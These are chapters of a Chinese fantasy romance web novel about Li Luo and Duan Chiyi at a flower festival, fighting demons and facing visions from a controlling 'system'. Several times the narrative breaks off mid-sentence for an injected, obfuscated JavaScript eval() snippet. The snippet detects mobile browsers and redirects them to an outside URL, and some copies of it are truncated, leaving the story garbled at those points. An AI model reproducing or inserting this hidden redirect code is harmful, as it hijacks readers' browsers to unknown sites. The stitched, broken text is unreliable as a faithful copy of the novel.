他转身看着她,却见她招手示意他凑近点。 段迟意心下一动,依言垂下了头。 黎落踮起脚尖,缓缓靠近,却在最后一刻忽然调转了方向。 “我只告诉你一个人啊——” 她在他耳边小声说道: “非常非常非常喜欢……” 说完,她自己先绷不住笑了起来,呼气打在段迟意耳畔,让那份瓷白也染上了些许绯色。 他忍不住抬手触碰她的脸,而后望着那双笑意盈盈的双眸,在如水的月光下,在花香满盈的深林中,一点点亲吻她的双唇,仔细感受她的“喜欢”。 …… 两人分开的时候,彼此身上都沾染了露水。 风再吹过的时候,便显得有些寒凉。 段迟意摸了摸她有点凉的手,说: “我们马上回去。” “啊?” 黎落道:“可是吴婶的花种……” 她话音未落,便见段迟意神色不变,周身气息却倏忽变凉。 坠雁平沙携冷意出鞘,直入林间。 一只身形硕大的花栗鼠妖被剑气刮过尾巴,着急忙慌地从密林深处跑了出来。 正面撞上黎落和段迟意二人,花栗鼠叫了一声,转头又想跑,却被段迟意的剑气围困在原地,不敢动了。 黎落走上前,看着这只硕大的、毛茸茸的妖,不由得惊呼: “长这么高,得吃了多少花啊……” 花栗鼠发出两声“咕咕”的叫声,抬爪捂住自己的肚子。 看表情,竟然是在不好意思。 黎落沉着脸,将右手食指伸到它面前,露出上面的伤口,问道: “是你家里妖咬的吗?” 她只做了个伸手的动作,花栗鼠妖便十分害怕地朝后一缩脖子,还用了两只爪子挡在眼前。 听见她的话,它才敢小心翼翼放下爪子,用黑豆眼端详黎落指尖的伤口。 看了半天,它又“吱吱”叫了几声,听着不大高兴。 黎落一脸疑惑地看向段迟意。 段迟意:“……它说没开灵智的家伙和它这样的不是一家妖,所以不干它的事。” 黎落收回手,无语地看着花栗鼠妖。 * 最后她二人还是把花栗鼠妖和茉莉花种一起交给了吴婶。 花栗鼠妖不伤人,胆子又很小,平时大多躲在林子里吃些果子花叶之类的,偶尔会去外面百姓家里偷吃些好吃的花。 吴婶嘴上说着要“拧掉贼的老鼠头”,见着这只大如狸花却胆小如鼠的花栗鼠妖后却变了卦,直说“算了算了”。 百卉城多珍稀草植,灵气充沛,常有花草灵物成精,只要不出来伤人,他们也并不想赶尽杀绝。 为表谢意,吴婶专门从院子里挑选了一株花苞最大、最为漂亮的茉莉,让黎落带着去参加今天城里的游花会。 “都是你们年轻小孩喜欢的活动,快拿着花去玩玩,你们刚来百卉城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580873|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,定是没见过那般热闹!” 百卉城的游花会向来是城中大事。 到了这一天,所有人都会将自家最美、最珍贵的花拿出来,以花会友,以花述情。 黎落捧着这株茉莉,很是欣喜。 她甚至不让段迟意帮她拿,定要自己捧着。 花美人甜,人比花娇。 路过一个个摆了花的摊位,听得满耳朵的夸赞,嘴角都要翘到天上去。 段迟意跟在她身边,将每一个对着黎落的脸露出惊艳目光的男人一一瞪过去。 他容色惊人,气质出尘,又摆出一副淡淡神情,眼尾余光像是一柄剑,扎得其他男子自惭形愧。 直到黎落驻足在一个摊位前。 这家的花很是特别,像百合,外面竟然裹了糖浆,在清丽阳光的照耀下展现出诱人的色泽。 花主人是个半大的小孩,正拿了花往一边糖浆锅里蘸。 见着黎落停下看他,花主人面露得意: “我家的百合花,不但能看,还好吃,比你的茉莉强多了。” 黎落“哇”了一声,十分给面子地赞叹道: “好有创意,这真是这条街上最厉害的花。” “有眼光!” 那小孩闻言大喜,将手里刚凝结了糖浆外壳的百合举起来同她展示: “这可是我阿爹熬了一整天的糖浆,绝对甜!这花也不一般,是我阿娘拿去给人治病的细叶百合,废了好大劲栽培的呢。” 说完,他大手一挥,将糖浆百合递给黎落,很是豪迈地说: “看在你如此懂行的份上,免费送你尝尝!” 黎落很是惊喜,抱了一路的茉莉也不拿了,转头塞给段迟意,接过那株裹了糖浆的百合,张口咬了一小块。 入口先是足以甜到人心里的甜,随后是百合花瓣独有的清苦,混在一起,竟是格外清香的口感。 黎落面露惊艳:“好吃!你太有才华了!” 她忍不住又咬了一口。 这回的花瓣较大,一口咽不下去,又被糖浆裹得邦邦硬,她只能先咬住半片,剩下一半露在外面。 摆花的小孩昂头,一脸骄傲:“那可不!” 他在这里站了好久,黎落是第一个没有对他的糖浆百合露出“暴殄天物”神色的人,她还愿意品尝并发出赞叹。 他决定把黎落奉为知己。 只是还没来得及交换姓名,便听得远处两声重叠在一起的高喝: “小兔崽子!” “败家玩意儿,你在做什么?!” 小孩一愣,看见他卖糖葫芦的爹和开药铺的娘一前一后朝他走来,气势汹汹,满脸杀气。 “坏了坏了!我爹娘来了,我先走一步,你也快跑啊!” 他一脸惊慌,扭头连摊子都不顾,撒腿就朝人堆里跑。 黎落被他突然的动作吓了一跳,看到朝这里靠近的一男一女面色不善,又听见那小孩这么说,顿时脑子短路,拉着段迟意就往远处跑。 段迟意顺从地被她扯着,跑了两步,黎落却又停了下来。 见她被嘴里咽不下的、邦邦硬的糖浆百合花瓣噎得快要翻白眼,他心下无奈,又觉得十分好笑。 帮她顺了顺后背,在黎落还未反应过来之前,段迟意忽然垂首凑近她,张口咬掉了剩下半片花瓣。 正卖力试图将花瓣咽下去的黎落愣住了。 段迟意的呼吸和唇与她一触即分,再抬头时,眼里的笑意浓的快要溢出来。 见黎落仍在发呆,他装作什么事都没发生的样子,笑着问道: “不跑吗?” “跑跑跑!” 黎落匆匆将嘴里剩下的花瓣咽下去,主动握住段迟意的手,拉着他跑过满城馥郁芬芳。 58. 第 58 章 直到跑到别人再也追不上的距离,黎落才停下。 她平复了一下呼吸,看见自己手里仍举着半朵糖浆百合。 看了看段迟意,又看了看百合,想了想,她把花举到两人中间:“你吃吗?” 段迟意看她。 她故意装作看不懂他眼神的样子: “怎么了?你不喜欢吗?” 明知道她在打坏心思,偏偏又这么一副无辜真诚的模样,他于是只好说了句:“喜欢。” 黎落便晃了晃手上的花,示意他低头来吃。 段迟意眼睛一眨不眨地盯着她,缓缓低头,张口要咬花瓣时,她却忽然移开了举着花的手,踮起脚尖迎着他的唇吻了上去。 段迟意一顿,眼神变得温和迷离。 抬手想要揽住黎落后背加深这个吻时,她却飞快退了回去,用糖浆百合隔在两人中间,当着他的面,一口将剩下的花全咬进了嘴里。 ——“咔嚓咔嚓”嚼得起劲。 段迟意无奈一笑,抬手,拇指擦过她嘴角,擦去那一点糖渣。 黎落睁着眼睛看他,听见他用带笑的声音说: “……特别喜欢。” …… 过了许久,黎落才和段迟意沿着原路缓缓走了回去。 天色渐晚,一部分人抱着花朝家里走去,另一部分人挂起各种花朵形状的灯笼,连里面的蜡烛都是花的模样。 真花假花交错,将道路两旁罗织成芳香馥郁的锦缎,霭霭暮色与烛光映出纷繁色彩,整座百卉城都仿佛沐浴在花海之中,美不胜收。 黎落拉着段迟意,在花海中间穿行。 忽然,段迟意神色一顿,拉着黎落的手用力一拽,抬臂将她护在自己怀中。 随着黎落转身的动作,一道魔气擦着段迟意护住她的衣袖,斜向而来,砸到了两人身边的一个摊位上。 鲜花折枝,灯笼委地,烛火歪斜,沿着灯纸攀爬而上,点燃了灯笼竹架。 尖叫声忽起,“魔族”两个字夹杂在混乱的高喊声中。 段迟意将茉莉放到黎落手里,让她在一处安静空地等他。 黎落点头同意。 她身上也有魔气,若是和他一起救人,只会引来麻烦。 出现在街上的魔族不像是冲着他们来的,一击不中,便转而去攻击其他人。 段迟意不想暴露身份,没有用剑,仅折路旁一束花枝为武器,很快便将那几个魔族斩落。 只有一个魔族实力强些,借着纷乱的花影向远处逃窜而去,段迟意的身影在花丛中一闪,追了过去。 黎落收回视线。 混沌之力在手,她倒不会有什么危险,遇到这种情况也多在一旁等着段迟意处理。 手里的茉莉没被魔气伤到,花朵洁白,散发着清浅的香。 天边最后一道阳光逐渐沉下去,身后的街道仍是一片混乱。 胸前白玉坠子忽然闪过一道光,自两人撕破脸后便没再发布剧情任务的系统再次出现,抛下一句短暂、却让她心惊的话。 “剧情不可违抗,命运本是定局。宿主,好自为之。” 黎落心脏猛得一跳,忽然听见身后有人冲她喊了句: “救命!” 她闻声转身。 一个小孩正埋头朝她的方向狂奔而来,背后跟着一团散发着腥臭的黑气。 那黑气眼看就要追上前面的人,从中间裂出一道口子,染血的牙泛着森然冷光,欲将那小孩一口吞下。 这小孩跑到黎落面前,忽然认出黎落正是唯一夸过他糖浆百合创意的人,步子顿时慢了下去。 “是你……?” 他一个“你”字还未说完,背后追来的黑气猛地朝前一扑,浓重的魔气将他压得摔倒在地,正砸在黎落腿边。 求生的本能盖过一切,他什么都顾不得了,一把抱住了黎落的腿,摇头大喊着: “我不想死啊,求你救救我!” 黑气压下,两人瞬间被包裹在魔气中。 这小孩闭着眼睛,心道“完了”,只怕是老天要惩罚他偷拿了爹娘的东西,这才让他死的如此难看。 被魔族吞噬是什么感觉,身体会被嚼碎吗? 待他意识到自己下意识的求助会害死这个夸过他的姐姐后,心里的愧疚顿时漫了上来。 这个姐姐一看就是个普通人,身材比他还瘦弱几分,又怎么救得了他呢? 更何况魔族凶残,再强壮的人族在他们这些怪物眼里,也不过是塞牙缝的开胃小菜而已…… 黎落的裙摆轻盈似水,触感冰凉。 他等了半天,发现自己竟还活着,不由得心生诧异。 撞着胆子睁开眼,头顶的一幕立时叫他三魂七魄吓走了一半。 原本只是容貌漂亮的黎落仿佛变了个人似的,五官更添森然之色,双眸间漆黑一片,冷意在其中流淌。 左手抱着花,右手抵在魔族面前,强烈的黑气在她指尖盘旋,以绝对碾压姿态,将面前那硕大无比的魔族绞着。 两者的魔气根本不是一个量级,追杀他的魔族承受不住,被黎落的魔气勒成四分五裂的形状,发出剧烈的凄惨的嘶吼声。 但黎落毫无收手之意。 纵使听着这样刺耳的尖啸,她眼里也依然没有任何恐惧或是不忍的情绪。 直到指尖黑气将这魔族一片片切碎成再也无法凝聚的样子,随着夜色来临,彻底消弭在半空中后,她才松开手,低头看了他一眼: “安全了。” 抱着她的小孩被她冰冷无情的目光一看,顿时浑身发起抖来。 “你……你是魔!” 他松开抓着黎落裙角的手,坐在地上连连倒退几步远离她,惊呼出声。 他潜意识知道黎落是救了他的人,就算是魔,或许并不会伤害他。 但他控制不住。 魔族残忍嗜杀,死于魔族之手的人更是数不胜数。 爹娘说过,两百年前魔尊沧宿曾试图在人界开启杀阵,生灵涂炭,死伤无数。 若非仙门及时出,手镇压魔族魔尊于极渊中,覆灭的便不止是一座城那么简单了。 人族对魔的恐惧是刻在骨子里的。 纵使现在,人族边界依然常受魔族侵扰,动辄便是死伤一片。 他不敢去信。 黎落露出“早知如此”的目光。 被人发现自己是魔就会变成这样,她早有心里准备。 只是她确实也没什么需要解释的。 她转身离开。 * 段迟意在门口敲门。 声音很轻,像是在试探她是否睡觉了。 黎落将被子拉到头上,没说话,假装自己已经睡着了。 不知怎的,她就是很不想现在看见段迟意。 只要一见到他,她就会觉得格外委屈,什么也做不了,只想抱着他哭。 但是当段迟意真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她总觉得,事情不会就此陷入僵局,一定还有什么破局的办法,是她没能想到的。 剧情,封樾,沧宿…… 思绪一团混乱,几乎要把她的大脑冲撞爆炸之时,门外忽然亮起星星点点的光,将窗纸也打成透明色。 黎落一愣,握着蝴蝶坠子的手指一松,白玉坠子悬挂在银链上,在她胸前晃动了两下,陷入安静。 敲门声再度响起,伴随着段迟意的声音: “黎落,快出来。” 听语气,他知道自己刚刚在装睡。 黎落下意识起身走到了门口。 隔着一道门,她却又犹豫了。 她下意识抬手,想攥住自己脖子上的吊坠。 但抬起的手悬在半空,那份对命运的不甘心还是促使着她将手放在了门上。 等了许久,外面也没有继续传来催促声。 但从门上的影子可以看出来,段迟意还等在外面。 他从来不会觉得不耐烦。 黎落抬头望着这道修长坚定的身影,在“把谎言贯彻到底继续装睡”和“顺势出去”之间,最终还是选择了后者。 她推门而出。 59. 第 59 章 甫一推开门,她像是瞬间误入了一方崭新的天地。 满院子晶莹剔透的冰花。 寒冰裹着各色花朵,枝叶被冻结了一层细薄的霜,在如水月华下随风摇曳。 细看之下,寒冰成的外壳连叶片的纹路都保留着,精巧绝伦。 院子两旁挂着灯笼,夜明珠被笼罩在寒冰削成的灯罩内,持续不断地散发着清浅的光,满地冰花折射出彩虹般的光晕。 黎落怔住了。 她的双眸被晶莹的冰映出澄澈的颜色,望着这仿佛是忽然冒出来的场景,久久不能言语。 直到段迟意伸手撩起她头发,看着她后颈上的伤口,语气有些心疼: “不要这样为难自己。” 她才觉得自己心里复杂的思绪一下子全涌了上来。 她心里盛着一筐酸涩的果,却被这透明的糖浆一浇,悉数成了沁人的甜。 那一瞬间,仿佛是苦痛与喜悦交织到了顶点,她忽然转头,猛地抱住了段迟意。 乌发从他指尖溜走,她埋头在他怀中,他感觉到她带着满满当当的情绪,沉甸甸的、毫不设防地撞进他的怀里。 她在感受他的心跳,感受他的存在。 他于是收紧手臂,将两人间的空隙压实,一丝风也无法溜进他们中间。 他们在晶莹剔透的冰花丛中相拥。 黎落闻着段迟意身上清浅的冷香,感觉自己好像终于得到了片刻安宁。 她好像不必去想那些剧情那些生死,可以只在这个为她所改变剧情设定的人身边,肆无忌惮地活。 她仰头望他,段迟意低头与她对视。 他的眼睛像世界上最美的黑曜石,足以将一切都容纳其中。 也包括她。 冲动压过了理智,她重重撞上他的唇。 他的手一顿,想松开她,却又不受控制地收紧,几乎要绞进她的骨肉之间。 黎落用牙咬着他的唇,简直像是要发泄什么一般,毫无章法地在他唇上啃咬,很快便将其咬成艳丽的红。 段迟意只好放轻动作,一边用五指顺她头发,一边用唇舌引着她一点点深入。 她于是逐渐沉迷在这份触手可及的甘甜里,被他拦膝抱起,将花与叶、灯与光悉数抛在身后,直直摔进那团被她揉乱的床褥中去。 头顶罩了一片阴影。 段迟意背对着房间里的光,轮廓被映出流畅锐利的线条,双眸显出几分带着欲望的暗沉。 他与她拉开些许距离,目光如有实质,一寸寸掠过她的五官。 黎落望着他,双眸盛着水光,像是晨光熹微时荷叶上的露水,倒映出一望无际的蓝天,却又被漂浮而过的云压住了那份澄澈。 红唇也泛着水光,轻微的喘息从中溢出,带着引人沉醉的甜。 她抬手,轻轻触碰他的眉眼,又顺着他的鼻梁滑下,指腹在他脸上画出一道滚烫的线。 她的声音却有些哽咽,像是压抑到极致后的痛哭,发出的每一个字都让他心颤。 “段迟意,我舍不得……好喜欢你。” 他于是彻底被她迷惑,俯身亲吻她的唇。 …… 短暂分开时,黎落发觉自己整个人都被封锁在段迟意身下,他的眼睛像悬在上方的两弯清泉,被她捂成温暖的温度。 “黎落……” 他的指腹贴着她腰间的皮肤,不轻不重地摩挲着,声音也有些哑,低声唤她名字。 她将脸埋在他怀里,却又张口轻咬他的喉结,明显感觉到他身形一顿,整个人好像瞬间变成了一张绷紧的弓。 他又低低唤她名字,用一种更为痴迷沉醉的语气。 扣在她腰间的手缓缓施力,他再度低头,追逐她的唇舌,轻吻她的眉眼,将她完全笼罩在自己怀中。 冷香彻底淹没了她。 …… 热意在狭小的空间内蒸腾。 恍如世界倾覆前的震颤。 …… 迷迷糊糊醒来时,黎落感觉到自己后颈传来冰凉的触感。 段迟意将她抱在怀里,指尖灵力带着冰凉的触感,将银链勒出的伤口一点点抚平。 察觉到她的不适,他停下了的动作,轻声问她: “你醒了?” 黎落于是将头埋得更深些,借着他的怀抱遮住闯进眼皮的光,然后摇了摇头。 段迟意轻笑,将她的头发理顺些,拢在手中。 乌发细软,穿过他修长的指节,像捧了一朵柔软的云。 他抑制不住心底那股悄然滋生的喜悦,垂首轻吻她的发尾。 头发被她拽了回去。 她连带着头发一起埋进他的怀里,再度沉沉睡去。 * 再醒来时已天光大亮,段迟意仍将她抱着,仿佛连姿势都没有换过。 但桌子上的茉莉花不见了。 她刚从段迟意怀里抬起头,额间便被他印下一吻。 他披散着头发,锐利冷淡的气质消失不见,整个人显得格外温和,眉眼间笑意如水,趁着黎落刚睡醒一脸懵时,又轻轻吻上她双唇。 黎落一时反应不过来,茫然地被他亲了一会儿,才想起来自己要说什么。 她推开他,看向桌子: “花不见了……” 一出声,她才发现自己的声音竟然哑得这么厉害。 还未来得及郁闷,唇边便抵上了一杯水。 段迟意扶着她喝了杯水,这才解释道: “我将花瓣上的魔气清了,已经还给吴婶了。” 黎落“哦”了一声,发了会儿呆,又说: “我们是不是得离开了。” 昨夜一闹,仙门很快会知道他们的动向。 若是在城中和仙门打起来,只会给百卉城的人带来麻烦,或许还会引来更多魔族。 他们离开,才是最好的结果。 段迟意看出她脸上的不舍,抬手顺了顺她的头发: “还会有更漂亮的花的。” 黎落没吭声,回身抬臂抱住他。 * 仙门到的比想象中要早。 百卉城出现的魔族不是意外。 沧宿与仙门合作杀段迟意不成,因为惧怕即将到来的雷劫,只能冒险在人界重开杀阵,以求杀生成神,躲过此劫。 他现在的实力大不如前,若真的重开杀阵,仙门不会轻易放过他。 故而魔尊沧宿龟缩魔界不出,却不断派小喽喽到人界作恶,以此牵绊仙门修士。 按系统所说,原书剧情中,魔族根本没有发动对人界的进攻。 人族之所以会再次面对这场灾祸,皆因黎落自私狠毒,违背剧情,催动混沌之力,杀害封樾,反叫更恶者成了男主。 或许仙门也是这样想。 作为这场灾祸的根源,黎落此刻正坐在房顶上吃包子。 看着面前被魔族搅成一团的街道,某个瞬间她隐约感觉到那么一点、系统所说的、命运的感觉。 或许对这个世界而言,她真的是最该死的那个。 逃脱也是无用,这些讨厌的东西就好像跟着他们走一样,不论她和段迟意怎么跑,总执意要把他们拉进这场令人作呕的剧情中去。 原本她想过,若是从一开始,她便没有试图反抗剧情,老老实实做那个工具人女主,这个世界会更美好吗?人族能在仙门的庇佑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黎落不肯从段迟意身上下来,两臂如藤蔓般缠在他脖子上,找到机会便去咬他喉结。 段迟意虽乐在其中,却还用最后一丝理智躲着她的牙: “黎落……” 他语调有些无奈: “你要把我脖子咬断吗?” 黎落于是停下,转而去看他脖子上被她咬出的牙印。 一个摞着一个,大多浅尝辄止,粉白一圈印子,绕在他喉结和锁骨附近。 只其中最深的一个痕迹明显,中心尚带着血丝,可见她下口之重。 黎落下意识觉得不好意思: “啊,对不起……我——” 道歉的话还未来得及说完,脑海里忽然浮现了昨夜她咬下这一口时的情况—— 心里那份不好意思瞬间变成了恼羞成怒。 她低头重重咬了下去,用他的肉磨了磨牙,因为嘴里叼着他的脖子,声音变得含糊不清,但仍气势汹汹: “都怪你!” 段迟意闷闷笑出声来。 他不再躲避,由着黎落咬他的脖子,一边却暗中收紧手臂,悄无声息地将她抱得更紧些。 修长的手指在她背后,顺着脊骨缓缓游移,带起一阵难言的酥麻。 黎落咬了一会儿,渐渐觉得牙酸,腮帮子也发麻。 结果自己咬不住他的脖子不说,反而被他在身后作乱的手激的忍不住,发出“唔”的一声呢喃。 她急忙松开牙齿收回手臂,上半身朝后退了退,想从他身上跳下来,好避开他不安分的手。 段迟意便趁这个机会低头凑近她,吻上她的唇,将她所有的恼怒和羞赧都吞入腹中。 他的声音沙哑,透着诱惑: “都怪我……但是,不要生气了,好不好……” 黎落于是彻底没法再生气。 60. 第 60 章 两人分开之时,天色已经有些暗了。 半空中的云被日光的余韵和夜色的幽寒渲染出明暗交织的色泽。 黎落懒洋洋的趴在法器边缘看风景。 飞鸟路过她眼前,晃悠着钻进云层。 她抬手挡在嘴边打了个哈欠,又朝边缘一趴,彻底不想动了。 段迟意坐在她身后,拿了把梳子,正在帮她梳头。 他小心的握住她的发尾,中间的头发乱蓬蓬的,不能一口气从上梳到下,只能一点点梳顺。 幸好他素来极有耐心,动作轻柔似水流穿过,一点也没有扯疼她的头发,甚至让她觉得格外舒服。 她于是便在这样的安宁氛围中一点点阖上了眼睛。 迷迷糊糊间,仿佛听见段迟意在她耳边说了什么,整个人被抱起来,熟悉的怀抱让她更加放松。 但她不想睁眼,他于是抬手在她身边轻拂,周身顿时笼罩了一层温和的气息,将寒冷的夜色阻隔在梦境之外。 …… 沉重的风呼啸而过。 她感觉自己心口好像灌了铅似的,一时空荡,又一时疲惫。 低头,满地都是从她心口流出的血。 身后似乎有人在说些什么,她看不清那人的脸,却能感觉到对方身上的魔气源源不断钻进她的心口,不是为了治愈,反而将她的力量擢取一空。 魔…… 她张口,却一个字都发不出来。 她感觉对方或许在惋惜,但旋即,混沌之力带给他更大的意外之喜,让他尚且做着悲伤姿态的眉眼中溢出明显的喜色。 在她身旁,躺着一个熟悉的人。 段迟意…… 乌云罩顶,天雷凝聚,似故事终末、命运终结的宣判。 黎落在雷声轰鸣中猝然睁眼。 她发现自己站在道路中央。 天边乌云缓缓凝聚,白天还是艳阳高照,此时却大变了天,细密的雨从远处飘过来,潮湿冰冷的雨滴中夹杂着令人作呕的气息。 梦境中的场景再次浮现在黎落眼前。 魔族杀到人界了—— 本能比理智更快,她抬手击碎了段迟意的符咒。 剑气消弭的瞬间,那些纷纷扬扬的雨滴尘土便像是有了生命一般朝着她扑来。 大雨倾盆,倏忽而至。 黎落双眸凝出沉而暗的黑,混沌之力在她指尖凝出刀刃的形状,于雨幕中划出数道杂乱无章的墨痕,直直向着魔气最重的地方而去。 她看到了一个熟悉的地方。 ——冯府。 迷雾笼罩着面前的建筑,牌匾上的“冯府”两个字被染了血痕,大开的门后是空无一人的庭院,朝外散发着阴恻恻的气息。 这场景似乎与她离开时并无什么区别,但魔气深重之处,死亡的绝望蔓延。 黎落抬步跨进门槛。 随着她走近的动作,原本空无一人的庭院场景忽而如水波般一晃,显出满地尸体。 男女老少躺了一地,最前头那浑身是血的女子她再熟悉不过…… ——冯月婵。 她抓着身前那人垂落的袍角,手上的血蹭在漆黑的衣料上,没能留下丝毫痕迹。 魔君魔气随意一扫,地上那早已没了生息的女子便再也抓不住他的衣服。 冯月婵的手腕无力垂下,整个冯府彻底从故事中被抹去…… 黎落感觉自己的呼吸停住了,她开始头疼,记忆开始恍惚。 这是怎么回事? 怎么会这样? 冯府怎么会变成这样?! 她下意识想上前,面前却有一道无形的屏障将她拦着。 触手冰凉,带给她片刻的清醒。 不,不对…… 这一幕,是原书剧情中封樾屠戮冯府的场景,但是现实已经改变了,这一幕已经不可能再发生了! 是系统!一定是系统在用幻象干扰她。 黎落劝自己冷静,但恐惧像刻在骨子里的本能反应,在黑衣人抬头看向她的同时,混沌之力不受控制般凝成长刃,猛得打碎了面前的屏障。 狂风骤雨瞬间朝她盖下,衣衫与发丝湿透,囚笼一般压在她灵魂上,呼吸困难。 冯府开始燃烧,满地尸体被火焰掩埋,那个好不容易才摆脱剧情、有希望迎来新生活的无辜配角冯月婵第一个被火舌卷走。 “这就是此世间真实的结果。” 系统的声音在她耳边响起: “一个不被天道承认的穿越者,注定守不住混沌之力,只会害死更多无辜的人。” 不——不是这样—— 黎落咬住嘴唇,咬出血色。 她眼中充斥着愤恨与悲泣,将恐慌死死压住,手中刀已冲向对方心口—— 半路被阻。 长刀被人徒手握住,带出一串淋漓鲜血。 刀锋划过皮肉时细微的滞涩之感太过真实,黎落恍惚了一瞬,听见熟悉的声音穿破雨幕,仿佛骤雨中唯一的天光。 “黎落,醒醒。” 是段迟意。 她猛得回过神来。 冯府与滔天的火焰瞬间消失不见,地上漂浮着被打碎的符咒的痕迹,上面萦绕着段迟意的剑气。 鼻尖血腥气味不散,雨幕中,唯面前人清晰可见。 段迟意站在她身前,单手握着刀刃,五指被划破,鲜血从指缝间流出,顺着手腕流淌,被雨水冲刷着坠落地面。 他身下已积了一滩血色水潭,却仍死死握着她的刀不放。 “段迟意……” 黎落声音颤抖,被面前这场景骇住。 段迟意握着刀,看向她的目光微微松了下来。 他轻声安抚道: “是我。” 黎落目光一颤,她下意识松开手,刀刃再度变成混沌之力消散于两人中间。 她几乎是本能朝身后看去,没有人,没有魔,也没有杀阵,什么都没有。 只有面前的段迟意。 只有面前被她刺伤的段迟意。 她本能想过去,却看着地上混着血的水渍一颤。 系统的话死死缠着她的记忆,缠住她的手脚,混着段迟意的血砸在她的理智上,把她苦苦维持的安全感悉数打破。 恐怖的幻觉消失,她却反而更加惧怕现实。 直到段迟意再次唤她名字。 “黎落,这里什么都没有发生,你不相信我吗?” 她才重重回过神来。 然后她猛地扑向他怀中,死死抱住了他,像是要把所有恐惧都从心底赶走。 “真的是你吗?冯府呢?他们都还活着吗?魔族开杀阵屠戮人族了吗?他们是被我害死的,我——” “黎落。” 段迟意唤她名字,抬手环抱住她。 风雨被拦在他的怀抱范围之外,他的声音在雨幕中格外清透: “魔族没有开杀阵,冯府也没事,人界还是安全的。” 感受到怀里的人仍紧绷着,段迟意垂眸看向她,眼里带着点让人放松的浅笑,声音也温柔的不像话: “黎落,你抬头看看我。” 黎落闻言,极慢地从他怀中抬起头。 她看着他,用力眨了眨眼睛,仔细端详了片刻,又伸手,试探着抚摸他的眉眼。 段迟意主动垂首,用脸贴近她的手。 他的皮肤很白,有些凉,沾了雨水,激得黎落手心一颤。 但他的眉眼是那样清俊出尘,一点点抚平她心里的不安。 “真的是你……” 黎落摸到熟悉的触感,她终于放下心来,又对自己重复了一遍: “真的是你。” 没有冯府,没有冯月婵,也没有魔君。 “我们都活着……” 原书剧情还没有发生…… 她还有机会阻止…… 黎落眼眶中充斥着泪水,和雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597105|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水一起,模糊了她的视线。 但她却咬着唇,强撑着没有哭出来。 她努力透过眼前的水汽看向段迟意。 “对不起。” 她的目光落到他手上的伤口,声音哽咽。 “都是因为我没用……” 段迟意眼里闪过心疼。 他抬手将她揽到自己怀里,挡住她的视线,一边轻拂她后背,在她发顶轻吻: “不是你的错。” 黎落在他怀里摇头。 她浑身上下都被雨水打湿,只能拼命抱住段迟意,以求从他身上汲取到真实存在的安全感。 段迟意没有打断她,而是用剑气再次在空中设下屏障,将雨水阻隔在外,一边将手上的伤口用灵力压住。 而后他两臂将她抱住,以一个彻彻底底将她笼罩在自己怀里的姿势,也按住了她的颤抖。 * 灯火如豆。 黎落换了身干净的衣服,拥着被子坐在床上。 段迟意坐在床边帮她擦头发。 黎落不是很想谈她在幻觉里看见了什么,但通过她的反应,段迟意也已经猜了个七七八八。 他没有追问,将她的头发拢在手中,一寸寸仔仔细细擦干后,又用梳子梳顺。 他的动作十分轻柔,黎落在这样温暖舒适的氛围中逐渐放松下来。 她推开被子,朝后一仰,顺势靠到了段迟意怀里。 手里的头发因着她躺下的动作从手中溜走。 段迟意梳头的动作停下。 他摸了摸黎落的脸: “怎么了?” 黎落仰头看他:“段迟意,我有点害怕,我怕自己会害死你们。” 她终于肯直言她的恐惧,却不肯谈其原因,甚至没有向他求助的意思。 放在她脸上的手顿住,修长指节从脸颊移到下巴,忽而停顿,而后轻微用力,托着她的脸朝上更仰一些。 脸被他托在手中,她的表情因而在灯光下更加一览无余。 段迟意垂下头,乌发自肩头散落,被黎落抓在手里。 他顺着她拽他头发的动作,顺势低头,朝她靠近一些,黑沉的眸子锁在她脸上: “你没有害死我们,你救了冯府,你也救了我。” 他的声音依然很轻柔,没有多少压迫感,甚至有些哄骗的意味,放在她下巴上的指腹轻抚她皮肤,带着点痒。 “如果是因为别的……你想做什么?” 段迟意问道。 黎落没有说话。 段迟意沉默片刻,缓缓眯起眸子,道: “你答应过我,不会独自涉险。” 黎落轻轻眨了下眼睛。 她眼里透出偏执的色彩,但很快就垂下了眸子,用手指缠着他的头发,思索片刻,说了句: “嗯,我答应过。” 段迟意目光一直停留在她脸上,将她回避的神情看得清清楚楚。 他心里渐渐漫上几分沉重,还有些疼。 他过去常常庆幸自己了解黎落,所以能看到一切被她掩饰在外表下的恐惧和执拗。 但此刻,他希望自己并不了解她。 这样的话,或许一切都只是他自己想多了。 指腹下的皮肤变得有些凉。 段迟意收回思绪,抬手将被黎落推开的被子重新拉上来,将黎落盖在下面。 黎落顺势抱住他的胳膊,朝他怀里蹭了蹭,换了个舒服的姿势后,闭上了眼睛。 她的容貌在光下显得格外脆弱,皮肤仿佛一张纸似的,稍不留神就会被划破。 段迟意凝视她片刻,低头在她额上留下一吻。 “睡吧,我在这儿。” “别怕。” “嗯。” 